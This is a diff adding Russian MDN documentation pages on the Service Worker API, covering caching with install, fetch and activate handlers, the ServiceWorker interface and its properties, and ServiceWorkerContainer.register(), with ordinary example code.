Давайте начнем этот раздел посмотрев на фрагмент кода ниже — это первый блок кода, который вы увидите в нашем сервис-воркере:

+ +
self.addEventListener('install', (event) => {
+  event.waitUntil(
+    caches.open('v1').then((cache) => {
+      return cache.addAll([
+        './sw-test/',
+        './sw-test/index.html',
+        './sw-test/style.css',
+        './sw-test/app.js',
+        './sw-test/image-list.js',
+        './sw-test/star-wars-logo.jpg',
+        './sw-test/gallery/',
+        './sw-test/gallery/bountyHunters.jpg',
+        './sw-test/gallery/myLittleVader.jpg',
+        './sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+ +
    +
  1. Здесь мы добавляем обработчик события install к сервис-воркеру (отныне self), и затем вызываем метод {{domxref("ExtendableEvent.waitUntil()") }} объекта события. Такая конструкция гарантирует, что сервис-воркер не будет установлен, пока код, переданный внутри waitUntil(), не завершится с успехом.
    2. +
  2. Внутри waitUntil() мы используем метод caches.open(), чтобы создать новый кеш, который назовём v1, это будет первая версия кеша ресурсов. Этот метод возвращает промис для созданного кеша; когда он выполнится, у объекта созданного кеша мы вызовем метод addAll(), который в качестве параметра ожидает получить массив origin-относительных URL всех ресурсов, которые мы хотим хранить в кеше.
    3. +
  3. Если промис будет отклонен, то установка будет завершена неудачно, и воркер ничего не сделает. Это хорошо, потому как вы можете исправить свой код и затем попробовать провести регистрацию в следующий раз.
    4. +
  4. После успешной установки сервис-воркер активируется. Этот момент не очень важен при первоначальной установке/активации сервис-воркера, в то же время он имеет большое значение, когда происходит обновление воркера (смотрите раздел {{anch("Обновление вашего сервис-воркера")}}, находящийся ниже).
    5. +
+ +
+

На заметку: localStorage работает схожим образом, но в синхронном режиме, поэтому запрещен в сервис-воркерах.

+
+ +
+

На заметку: При необходимости хранить данные в сервис-воркерах вы можете использовать IndexedDB.

+
+ +

Настраиваемые ответы на запросы

+ +

Теперь ресурсы вашего сайта находятся в кеше и вам необходимо указать сервис-воркеру, что делать с этим контентом. Это легко сделать, обработав событие fetch.

+ +

+ +

Событие fetch возникает каждый раз, когда запрашиваются любые подконтрольные сервис-воркеру ресурсы, к которым относятся документы из области видимости и другие ресурсы, связанные с этими документами (например, если в index.html происходит кросс-доменный запрос для загрузки изображения, то он тоже попадет в сервис-воркер).

+ +

Вы можете подключить к сервис-воркеру обработчик события fetch и внутри него на объекте события вызвать метод respondWith(), чтобы заменить ответы и показать собственную "магию".

+ +
self.addEventListener('fetch', (event) => {
+  event.respondWith(
+    // магия происходит здесь
+  );
+});
+
+ +

Для начала, на каждый сетевой запрос мы можем отдать в ответ ресурс, чей url соответствует запросу:

+ +
self.addEventListener('fetch', (event) => {
+  event.respondWith(
+    caches.match(event.request)
+  );
+});
+ +

caches.match(event.request) позволяет нам проверять сетевой запрос ресурса на соответствие какому-либо доступному в кеше ресурсу, если такой ресурс имеется. Соответствие проверяется по url и изменяемым заголовкам.

+ +

Давайте рассмотрим несколько других вариантов реализации нашей магии (чтобы получить больше информации об интерфейсах {{domxref("Request")}} и {{domxref("Response")}} смотрите документацию к Fetch API.)

+ +
    +
  1. +

    Конструктор {{domxref("Response.Response","Response()")}} позволяет вам создавать собственные ответы. В данном случае, мы всего лишь возвращаем простую текстовую строку:

    + + 
    new Response('Hello from your friendly neighbourhood service worker!');
+
    + +

    В этом более сложном объекте Response показано, как вы можете передать набор заголовков в свой ответ, эмулируя стандартный HTTP-ответ. Здесь мы просто сообщаем браузеру, чем является содержимое ответа:

    + + 
    new Response('<p>Hello from your friendly neighbourhood service worker!</p>', {
+  headers: { 'Content-Type': 'text/html' }
+});
    +
    2. +
  2. +

    Если совпадение не было найдено в кеше, вы можете попросить браузер {{domxref("GlobalFetch.fetch","загрузить")}} тот же ресурс, чтобы получить новый файл через обычную сеть, если она доступна:

    + + 
    fetch(event.request);
    +
    3. +
  3. +

    Если информация, соответствующая запросу, в кеше не найдена, а также сеть не доступна, то вы можете просто ответить на запрос какой-либо страницей по умолчанию, которая хранится в кеше, используя {{domxref("CacheStorage.match","match()")}}:

    + + 
    caches.match('./fallback.html');
    +
    4. +
  4. +

    Вы можете получить больше информации о каждом запросе, используя для этого свойства объекта {{domxref("Request")}}, который можно получить как свойство объекта {{domxref("FetchEvent")}}:

    + + 
    event.request.url
+event.request.method
+event.request.headers
+event.request.body
    +
    5. +
+ +

Восстановление неудачных запросов

+ +

Итак, caches.match(event.request) отработает как нужно только в том случае, если в кеше сервис-воркера будет найдено соответствие запросу. Но что произойдет, если такого соответствия не будет найдено? Если мы не предоставим никакого механизма обработки такой ситуации, то промис выполнится со значением undefined и мы не получим никакого значения.

+ +

К счастью, сервис-воркеры имеют структуру основанную на промисах, что делает тривиальной такую обработку и предоставляет большое количество способов успешно обработать запрос:

+ +
self.addEventListener('fetch', (event) => {
+  event.respondWith(
+    caches.match(event.request).then((response) => {
+      return response || fetch(event.request);
+    })
+  );
+});
+ +

Если промис будет отклонен, функция catch() вернет обычный сетевой запрос к внешнему ресурсу. Это значит, что, если сеть доступна, то ресурс просто загрузится с сервера.

+ +

Если же мы были достаточно умны, то мы не стали бы просто возвращать сетевой запрос, а сохранили бы его результат в кеше, чтобы иметь возможность получить его в offline-режиме. В случае с нашим демо-приложением "Star Wars gallery", это означает, что, если в галерею будет добавлено еще одно изображение, то оно будет получено и сохранено в кеше:

+ +
self.addEventListener('fetch', (event) => {
+  event.respondWith(
+    caches.match(event.request).then((resp) => {
+      return resp || fetch(event.request).then((response) => {
+        return caches.open('v1').then((cache) => {
+          cache.put(event.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});
+ +

Здесь мы возвращаем обычный сетевой запрос, который возвращен вызовом fetch(event.request); этот запрос также является промисом. Когда промис разрешится, мы получим кеш вызвав caches.open('v1'); этот метод также возвращает промис. Когда разрешится уже второй промис, будет использован вызов cache.put(), чтобы поместить ресурс в кеш. Ресурс получен через event.request, а ответ — через клонирование response.clone(). Клон помещается в кеш, а оригинальный ответ передается браузеру, который передает его странице, которая запросила ресурс.

+ +

Почему? Потому что потоки запроса и ответа могут быть прочитаны только единожды. Чтобы ответ был получен браузером и сохранен в кеше, нам нужно клонировать его. Так оригинальный объект отправится браузеру, а клон будет закеширован. Оба они будут прочитаны единожды.

+ +

У нас все ещё остается единственная проблема - если на какой-либо запрос в кеше не будет найдено соответствие, и в этот момент сеть не доступна, то наш запрос завершится неудачно. Давайте реализуем запасной вариант по умолчанию, при котором пользователь, в описанном случае, будет получать хоть что-нибудь:

+ +
self.addEventListener('fetch', (event) => {
+  event.respondWith(
+    caches.match(event.request).then((resp) => {
+      return resp || fetch(event.request).then((response) => {
+        let responseClone = response.clone();
+        caches.open('v1').then((cache) => {
+          cache.put(event.request, responseClone);
+        });
+
+        return response;
+      });
+    }).catch(() => {
+      return caches.match('./sw-test/gallery/myLittleVader.jpg');
+    })
+  );
+});
+ +

Здесь мы решили обрабатывать только картинки, потому что единственные запросы, которые могут не удасться — это загрузка новых картинок, так как все остальное было закешировано во время обработки события install, которое мы обсуждали ранее.

+ +

Обновление вашего сервис-воркера

+ +

Если после того, как ваш сервис-воркер был установлен, стала доступна его новая версия, при обновлении или загрузке страницы она будет установлена в фоновом режиме, но не будет активирована. Она будет активирована, лишь когда не останется ни одной страницы, использующей старую версию сервис-воркера.

+ +

Вы можете обновить обработчик события install в новой версии сервис-воркера, чтобы получить примерно такое (обратите внимание на номер новой версии):

+ +
self.addEventListener('install', (event) => {
+  event.waitUntil(
+    caches.open('v2').then((cache) => {
+      return cache.addAll([
+        './sw-test/',
+        './sw-test/index.html',
+        './sw-test/style.css',
+        './sw-test/app.js',
+        './sw-test/image-list.js',
+
+        …
+
+        // подключение прочих ресурсов для новой версии...
+      ]);
+    })
+  );
+});
+ +

В то время, как этот код работает, предыдущая версия также доступна. Новая версия устанавливается в фоновом режиме. Мы можем работать с версией кеша v2, в то время как версия v1 не будет разрушена.

+ +

Когда ни одна страница не будет использовать текущую версию, новый воркер активируется и станет ответственным за обработку всех запросов.

+ +

Удаление старого кеша

+ +

Вы можете обрабатывать событие activate. Оно обычно используется в случае, если нужно выполнить такие действия, которые бы нарушили работу воркеров предыдущей версии, если они все еще работают со старым кешем. Также это событие полезно использовать для того, чтобы удалить ненужные данные, чтобы освободить место, занимаемое на диске, потому что каждый браузер имеет жесткие ограничения на размер хранилища кеша, которое доступно для использования сервис-воркерами.

+ +

Promise, переданный в waitUntil(), заблокирует другие события до своего завершения, поэтому можно быть уверенным, что процесс очистки закончится раньше, чем выполнится первое событие fetch на основе нового кеша.

+ +
self.addEventListener('activate', (event) => {
+  var cacheKeeplist = ['v2'];
+
+  event.waitUntil(
+    caches.keys().then((keyList) => {
+      return Promise.all(keyList.map((key) => {
+        if (cacheKeeplist.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});
+ +

Инструменты разработчика

+ +

В браузере Chrome есть раздел chrome://inspect/#service-workers, где можно увидеть активность сервис-воркеров и их хранилища. Также есть раздел chrome://serviceworker-internals, в котором можно получить более детальную информацию, запустить, остановить и отладить процессы сервис-воркеров. В будущем ожидается поддержка эмуляции различного качества сетевых соединений и их отсутствия, что будет весьма кстати.

+ +

Firefox также начал реализовывать полезные инструменты для разработки сервис-воркеров:

+ + + +
+

На заметку: Вы можете держать своё приложение на http://localhost (например, используя me@localhost:/my/app$ python -m SimpleHTTPServer) для локальной разработки. См. Security considerations

+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКоментарии
{{SpecName('Service Workers', '')}}{{Spec2('Service Workers')}}Начальное определение.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("33.0") }}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(40.0)}}{{ CompatVersionUnknown }}{{ CompatVersionUnknown }}{{CompatNo}}{{ CompatVersionUnknown() }}{{CompatNo}}
+
+ +

[1] Service workers (and Push) были отключены в расширенной версии поддержке Firefox 45 (ESR.)

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/serviceworker/index.html b/files/ru/web/api/serviceworker/index.html new file mode 100644 index 0000000000..06cb74c21c --- /dev/null +++ b/files/ru/web/api/serviceworker/index.html @@ -0,0 +1,105 @@ +--- +title: ServiceWorker +slug: Web/API/ServiceWorker +translation_of: Web/API/ServiceWorker +--- +
{{APIRef("Service Workers API")}}
+ +
+ +

Интерфейс ServiceWorker, являющийся частью ServiceWorker API, позволяет взаимодействовать с Service Worker. К одному Service Worker могут быть привязаны несколько контекстов (например страниц, Web Workers, и т.д.), каждый с использованием собственного объекта ServiceWorker.

+ +

Объект ServiceWorker можно получить через свойства {{domxref("ServiceWorkerRegistration.active")}} и {{domxref("ServiceWorkerContainer.controller")}} — это Service Worker, который активировал и контролирует текущую страницу (в случае, если Service Worker был успешно зарегистрирован и страница была обновлена)

+ +

Интерфейс ServiceWorker обрабатывает события жизненного цикла: install и activate и функциональные события, например fetch. Объект ServiceWorker также содержит опцию {{domxref("ServiceWorker.state")}}, отражающую его состояние.

+ +

Свойства

+ +

Интерфейс ServiceWorker наследует свойства {{domxref("Worker")}}.

+ +
+
{{domxref("ServiceWorker.scriptURL")}} {{readonlyinline}}
+
URL кода для данного Service Worker. URL должен находиться в том же домене, что и документ, регистрирующий ServiceWorker.
+
{{domxref("ServiceWorker.state")}} {{readonlyinline}}
+
Состояние данного Service Worker. Может иметь следующие значения: installing, installed, activating, activated или redundant.
+
+ +

Обработчики событий

+ +
+
{{domxref("ServiceWorker.onstatechange")}} {{readonlyinline}}
+
Срабатывает при срабатывании события statechange; По сути, срабатывает при каждом изменении {{domxref("ServiceWorker.state")}}.
+
+ +

Методы

+ +

Интерфейс ServiceWorker наследует все методы интерфейса {{domxref("Worker")}}, кроме {{domxref("Worker.terminate")}}, который не должен быть доступен для Service Worker.

+ +

Примеры

+ +

Этот фрагмент кода из примера событий Service Worker (демо). Данный код возвращает значение {{domxref("ServiceWorker.state")}} при каждом изменении состояния.

+ +
if ('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('service-worker.js', {
+        scope: './'
+    }).then(function (registration) {
+        var serviceWorker;
+        if (registration.installing) {
+            serviceWorker = registration.installing;
+            document.querySelector('#kind').textContent = 'installing';
+        } else if (registration.waiting) {
+            serviceWorker = registration.waiting;
+            document.querySelector('#kind').textContent = 'waiting';
+        } else if (registration.active) {
+            serviceWorker = registration.active;
+            document.querySelector('#kind').textContent = 'active';
+        }
+        if (serviceWorker) {
+            // logState(serviceWorker.state);
+            serviceWorker.addEventListener('statechange', function (e) {
+                // logState(e.target.state);
+            });
+        }
+    }).catch (function (error) {
+        // Произошла ошибка при регистрации Service Worker.
+        // Файл service-worker.js может быть недоступным или содержать ошибки синтаксиса.
+    });
+} else {
+    // Данный браузер не поддерживает Service Worker.
+}
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('Service Workers', '#serviceworker', 'ServiceWorker')}}{{Spec2('Service Workers')}}Изначальное определение.
+ +

Поддержка

+ +
+ + +

{{Compat("api.ServiceWorker")}}

+
+ +

Смотрите Также

+ + diff --git a/files/ru/web/api/serviceworker/onstatechange/index.html b/files/ru/web/api/serviceworker/onstatechange/index.html new file mode 100644 index 0000000000..4a02488880 --- /dev/null +++ b/files/ru/web/api/serviceworker/onstatechange/index.html @@ -0,0 +1,73 @@ +--- +title: ServiceWorker.onstatechange +slug: Web/API/ServiceWorker/onstatechange +translation_of: Web/API/ServiceWorker/onstatechange +--- +
{{APIRef("Service Workers API")}}
+ +

Обработчик события, вызываемый при срабатывании события statechange; по сути, срабатывает при изменении {{domxref("ServiceWorker.state")}}.

+ +

Синтаксис

+ +
ServiceWorker.onstatechange = function(statechangeevent) { ... }
+ServiceWorker.addEventListener('statechange', function(statechangeevent) { ... } )
+ +

Примеры

+ +

Данный фрагмент кода из примера событий service worker (демо) возвращает состояние при каждом его изменении.

+ +
var serviceWorker;
+if (registration.installing) {
+  serviceWorker = registration.installing;
+  document.querySelector('#kind').textContent = 'installing';
+} else if (registration.waiting) {
+  serviceWorker = registration.waiting;
+  document.querySelector('#kind').textContent = 'waiting';
+} else if (registration.active) {
+  serviceWorker = registration.active;
+  document.querySelector('#kind').textContent = 'active';
+}
+
+if (serviceWorker) {
+  logState(serviceWorker.state);
+  serviceWorker.addEventListener('statechange', function(e) {
+  logState(e.target.state);
+  });
+}
+ +

Обратите внимание, что при срабатывании statechange, ссылки на service worker могли измениться. Например:

+ +
navigator.serviceWorker.register(..).then(function(swr) {
+  swr.installing.state == "installing"
+  swr.installing.onstatechange = function() {
+    swr.installing == null;
+    // At this point, swr.waiting OR swr.active might be true. This is because the statechange
+    // event gets queued, meanwhile the underlying worker may have gone into the waiting
+    // state and will be immediately activated if possible.
+  }
+})
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('Service Workers', '#dom-serviceworker-onstatechange', 'ServiceWorker.onstatechange')}}{{Spec2('Service Workers')}}Изначальное определение
+ +

Совместимость

+ +
+ + +

{{Compat("api.ServiceWorker.onstatechange")}}

+
diff --git a/files/ru/web/api/serviceworker/scripturl/index.html b/files/ru/web/api/serviceworker/scripturl/index.html new file mode 100644 index 0000000000..c01cb6c968 --- /dev/null +++ b/files/ru/web/api/serviceworker/scripturl/index.html @@ -0,0 +1,46 @@ +--- +title: ServiceWorker.scriptURL +slug: Web/API/ServiceWorker/scriptURL +translation_of: Web/API/ServiceWorker/scriptURL +--- +
{{APIRef("Service Workers API")}}
+ +

Возвращает URL, указывающий на скрипт данного Service Worker, определенный с помощью ServiceWorkerRegistration. URL должен находиться в том же домене, что и документ, регистрирующий ServiceWorker.

+ +

Синтаксис

+ +
someURL = ServiceWorker.scriptURL
+
+ +

Значение

+ +

{{domxref("USVString")}} (см. WebIDL-определение USVString.)

+ +

Примеры

+ +
TBD
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#service-worker-url', 'scriptURL')}}{{Spec2('Service Workers')}}Изначальное определение
+ +

Поддержка в браузерах

+ +
+ + +

{{Compat("api.ServiceWorker.scriptURL")}}

+
diff --git a/files/ru/web/api/serviceworker/state/index.html b/files/ru/web/api/serviceworker/state/index.html new file mode 100644 index 0000000000..19133ae4c1 --- /dev/null +++ b/files/ru/web/api/serviceworker/state/index.html @@ -0,0 +1,65 @@ +--- +title: ServiceWorker.state +slug: Web/API/ServiceWorker/state +translation_of: Web/API/ServiceWorker/state +--- +
{{APIRef("Service Workers API")}}
+ +

Свойство интерфейса {{domxref("ServiceWorker")}} state, доступное только для чтения является строкой, показывающей текущее состояние данного Service Worker. Его возможные значения: installing, installed, activating, activated и redundant.

+ +

Синтаксис

+ +
someURL = ServiceWorker.state
+
+ +

Значение

+ +

Определение {{domxref("ServiceWorkerState")}} (см. спецификацию)

+ +

Примеры

+ +

Это фрагмент кода из примера событий Service Worker (демо). Данный код возвращает значение ServiceWorker.state при каждом изменении состояния.

+ +
var serviceWorker;
+if (registration.installing) {
+  serviceWorker = registration.installing;
+  document.querySelector('#kind').textContent = 'installing';
+} else if (registration.waiting) {
+  serviceWorker = registration.waiting;
+  document.querySelector('#kind').textContent = 'waiting';
+} else if (registration.active) {
+  serviceWorker = registration.active;
+  document.querySelector('#kind').textContent = 'active';
+}
+
+if (serviceWorker) {
+  logState(serviceWorker.state);
+  serviceWorker.addEventListener('statechange', function(e) {
+  logState(e.target.state);
+  });
+}
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#service-worker-state', 'state')}}{{Spec2('Service Workers')}}Изначальное определение
+ +

Поддержка в браузерах

+ +
+ + +

{{Compat("api.ServiceWorker.state")}}

+
diff --git a/files/ru/web/api/serviceworkercontainer/controller/index.html b/files/ru/web/api/serviceworkercontainer/controller/index.html new file mode 100644 index 0000000000..066edb858b --- /dev/null +++ b/files/ru/web/api/serviceworkercontainer/controller/index.html @@ -0,0 +1,55 @@ +--- +title: ServiceWorkerContainer.controller +slug: Web/API/ServiceWorkerContainer/controller +translation_of: Web/API/ServiceWorkerContainer/controller +--- +
{{APIRef("Service Workers API")}}
+ +

Свойство controller интерфейса {{domxref("ServiceWorkerContainer")}} возвращает объект {{domxref("ServiceWorker")}}, в случае, если service worker активирован. Данное свойство возвращает null, если страница была обновлена с помощью Shift + refresh или на ней отсутствует активный service worker.

+ +

Синтаксис

+ +
var myController = navigator.serviceWorker.controller;
+
+ +

Значение

+ +

Объект {{domxref("ServiceWorker")}}.

+ +

Пример

+ +
if ('serviceWorker' in navigator) {
+  // Проверяем, находится ли данная страница под управлением service worker.
+  if (navigator.serviceWorker.controller) {
+    console.log(`Эта страница сейчас контролируется ${navigator.serviceWorker.controller}`);
+  } else {
+    console.log('Эта страница не контролируется service worker.');
+  }
+} else {
+  console.log('Данный браузер не поддерживает Service Worker API.');
+}
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('Service Workers', '#navigator-service-worker-controller', 'ServiceWorkerRegistration.controller')}}{{Spec2('Service Workers')}}Изначальное определение.
+ +

Совместимость

+ +
+ + +

{{Compat("api.ServiceWorkerContainer.controller")}}

+
diff --git a/files/ru/web/api/serviceworkercontainer/index.html b/files/ru/web/api/serviceworkercontainer/index.html new file mode 100644 index 0000000000..a8bf9f324e --- /dev/null +++ b/files/ru/web/api/serviceworkercontainer/index.html @@ -0,0 +1,165 @@ +--- +title: ServiceWorkerContainer +slug: Web/API/ServiceWorkerContainer +tags: + - API + - Draft + - Interface + - NeedsTranslation + - Offline + - Reference + - Service Workers + - ServiceWorkerContainer + - TopicStub + - Workers +translation_of: Web/API/ServiceWorkerContainer +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

ServiceWorker API предоставляет интерфейс ServiceWorkerContainer, являющийся объектом (объект предствляет собой сервис воркер, как единое целое в сетевой экосистеме) влючающим следующие средства:
+ Регистрация;
+ Отмена регистрации;
+ Обновление сервис воркеров;
+ Доступ к состоянию сервис воркеров;
+ Доступ к регистрации сервис воркеров.

+ +

Most importantly, it exposes the {{domxref("ServiceWorkerContainer.register", "ServiceWorkerContainer.register(scriptURL, scope[, base])")}} method used to register service workers, and the {{domxref("ServiceWorkerContainer.controller")}} property used to determine whether or not the current page is actively controlled.

+ +

Properties

+ +
+
{{domxref("ServiceWorkerContainer.controller")}} {{readonlyinline}}
+
Returns a {{domxref("ServiceWorker")}} object if its state is activated (the same object returned by {{domxref("ServiceWorkerRegistration.active")}}). This property returns null if the request is a force refresh (Shift + refresh) or if there is no active worker.
+
+ +
+
{{domxref("ServiceWorkerContainer.ready")}} {{readonlyinline}}
+
Defines whether a service worker is ready to control a page or not. It returns a {{jsxref("Promise")}} that will never reject, which resolves to a {{domxref("ServiceWorkerRegistration")}} with an {{domxref("ServiceWorkerRegistration.active")}} worker.
+
+ +

Event handlers

+ +
+
{{domxref("ServiceWorkerContainer.oncontrollerchange")}}
+
An event handler fired whenever a {{Event("controllerchange")}} event occurs — when the document's associated {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.active")}} worker.
+
{{domxref("ServiceWorkerContainer.onerror")}}
+
An event handler fired whenever an {{Event("error")}} event occurs in the associated service workers.
+
{{domxref("ServiceWorkerContainer.onmessage")}}
+
An event handler fired whenever a {{Event("message")}} event occurs — when incoming messages are received to the {{domxref("ServiceWorkerContainer")}} object (e.g. via a {{domxref("MessagePort.postMessage()")}} call.)
+
+ +

Methods

+ +
+
{{domxref("ServiceWorkerContainer.register", "ServiceWorkerContainer.register()")}} 
+
Creates or updates a {{domxref("ServiceWorkerRegistration")}} for the given scriptURL.
+
{{domxref("ServiceWorkerContainer.getRegistration()")}}
+
Gets a {{domxref("ServiceWorkerRegistration")}} object whose scope URL matches the provided document URL.  If the method can't return a {{domxref("ServiceWorkerRegistration")}}, it returns a Promise. 
+
{{domxref("ServiceWorkerContainer.getRegistrations()")}}
+
Returns all {{domxref("ServiceWorkerRegistration")}}s associated with a ServiceWorkerContainer in an array.  If the method can't return {{domxref("ServiceWorkerRegistration")}}s, it returns a Promise. 
+
+ +

Examples

+ +

This code snippet is from the service worker fallback-response sample (see fallback-response live). The code checks to see if the browser supports service workers. Then the code registers the service worker and determines if the page is actively controlled by the service worker. If it isn't, it prompts the user to reload the page so the service worker can take control. The code also reports any registration failures.

+ +
if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('service-worker.js', {scope: './'}).then(function() {
+    if (navigator.serviceWorker.controller) {
+      document.querySelector('#status').textContent = 'The service worker is currently handling network operations.';
+      showRequestButtons();
+    } else {
+      document.querySelector('#status').textContent = 'Please reload this page to allow the service worker to handle network operations.';
+    }
+  }).catch(function(error) {
+    document.querySelector('#status').textContent = error;
+  });
+} else {
+  var aElement = document.createElement('a');
+  aElement.href = 'http://www.chromium.org/blink/serviceworker/service-worker-faq';
+  aElement.textContent = 'unavailable';
+  document.querySelector('#status').appendChild(aElement);
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-container', 'ServiceWorkerContainer')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 Extended Support Release (ESR.)

+ +

See also

+ + diff --git a/files/ru/web/api/serviceworkercontainer/register/index.html b/files/ru/web/api/serviceworkercontainer/register/index.html new file mode 100644 index 0000000000..a885e08102 --- /dev/null +++ b/files/ru/web/api/serviceworkercontainer/register/index.html @@ -0,0 +1,140 @@ +--- +title: ServiceWorkerContainer.register() +slug: Web/API/ServiceWorkerContainer/register +translation_of: Web/API/ServiceWorkerContainer/register +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

register() метод {{domxref("ServiceWorkerContainer")}} интерфейса который создает и обновляет ServiceWorkerRegistration  для указанного URL js скрипта.

+ +

Если удачно, service worker registration связывается по указанному URL js скрипта , который соответственно используется для проверки совпадения при навигации по URL. Если метод не возвращает ServiceWorkerRegistration, он возвращает Promise. Есть возможность вызвать этот метод без проверки на условие, т.е. нет необходимости сначала проверять существует ли активная регистрация в данный момент или нет.

+ +

Синтаксис

+ +
ServiceWorkerContainer.register(scriptURL, options)
+  .then(function(ServiceWorkerRegistration) { ... });
+ +

Параметры

+ +
+
scriptURL
+
URL скрипта service worker - а.
+
options {{optional_inline}}
+
Опции — это обьект  необходимый для регистрации service worker-a. В данный момент доступные опции: +
    +
  • scope: {{domxref("USVString")}} представляет собой URL, который определяет scope service worker-a; Какой диапазон URL может контролировать service worker. Это обычно относительный URL. Значение по умолчанию — это URL,  который соответствует корню, т.е. './', используя дирректорию расположения js скрипта service worker-а как основу.
    • +
+
+
+ +

Возвращает

+ +

{{domxref("Promise")}} который резолвится в {{domxref("ServiceWorkerRegistration")}} обьект.

+ +

Пример использования

+ +

Примеры кода, приведенные ниже, должны рассматриваться вместе для лучшего понимания того, как применяется scope service worker-ов к конкретной странице.

+ +

Следующий пример использует дефолтный scope (не указывая его прямо). Service worker в этом случае будет контролировать example.com/index.html и страницы, расположенные "глубже", например example.com/product/description.html.

+ +
if ('serviceWorker' in navigator) {
+  // Регистрация service worker-а, расположенного в корне сайта
+  // за счет использования дефолтного scope (не указывая его)
+  navigator.serviceWorker.register('/sw.js').then(function(registration) {
+    console.log('Service worker зарегистрирован:', registration);
+  }).catch(function(error) {
+    console.log('Ошибка при регистрации service worker-а:', error);
+  });
+} else {
+  // Текущий браузер не поддерживает service worker-ы.
+  console.log('Текущий браузер не поддерживает service worker-ы');
+}
+ +

Следующий пример, если он размещен на странице корня сайта, будет применен ровно к тем же страницам, что и пример выше. Помните, scope, если он указан, использует path страницы в качестве своей базы. Это значит, что, если следующий пример будет использоваться на странице example.com/product/description.html, то scope ./ будет означать, что service worker работает только со страницами внутри example.com/product. Если необходимо зарегистрировать service worker на example.com/product/description.html, и вы хотите, чтобы он обслуживал и корень, example.com, то scope лучше не указывать совсем, как в примере выше.

+ +
if ('serviceWorker' in navigator) {
+  // Регистрация service worker-а, расположенного в корне сайта
+  // с указанием более строгого scope
+  navigator.serviceWorker.register('/sw.js', {scope: './'}).then(function(registration) {
+    console.log('Service worker зарегистрирован:', registration);
+  }).catch(function(error) {
+    console.log('Ошибка при регистрации service worker-а:', error);
+  });
+} else {
+  console.log('Текущий браузер не поддерживает service worker-ы.');
+}
+ + + +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('Service Workers', '#service-worker-container', 'ServiceWorkerContainer')}}{{Spec2('Service Workers')}}Первичное определение.
+ +

Браузерная совместимость

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Начальная поддержка{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Начальная поддержка{{CompatUnknown}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}
+
+ +

[1] Использование Service worker ( и Push) приостановлено в Firefox 45 Extended Support Release (ESR.)

diff --git a/files/ru/web/api/serviceworkerregistration/index.html b/files/ru/web/api/serviceworkerregistration/index.html new file mode 100644 index 0000000000..8daa8d7b98 --- /dev/null +++ b/files/ru/web/api/serviceworkerregistration/index.html @@ -0,0 +1,145 @@ +--- +title: ServiceWorkerRegistration +slug: Web/API/ServiceWorkerRegistration +tags: + - API + - Interface + - NeedsTranslation + - Offline + - Reference + - Service Workers + - Service worker API + - ServiceWorkerRegistration + - TopicStub + - Workers +translation_of: Web/API/ServiceWorkerRegistration +--- +
+
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+
+ +

Интерфейс ServiceWorkerRegistration ссылается на регистрацию Service Worker. Вы можете зарегистрировать Service Worker, чтобы контролировать одну или несколько страниц на одном домене.

+ +

The lifetime of a service worker registration is beyond that of the ServiceWorkerRegistration objects that represent them within the lifetime of their corresponding service worker clients. The browser maintains a persistent list of active ServiceWorkerRegistration objects.

+ +
+

Эта функция доступна в Web Workers.

+
+ +

Свойства

+ +

Also implements properties from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("ServiceWorkerRegistration.scope")}} {{readonlyinline}}
+
Returns a unique identifier for a service worker registration. This must be on the same origin as the document that registers the {{domxref("ServiceWorker")}}.
+
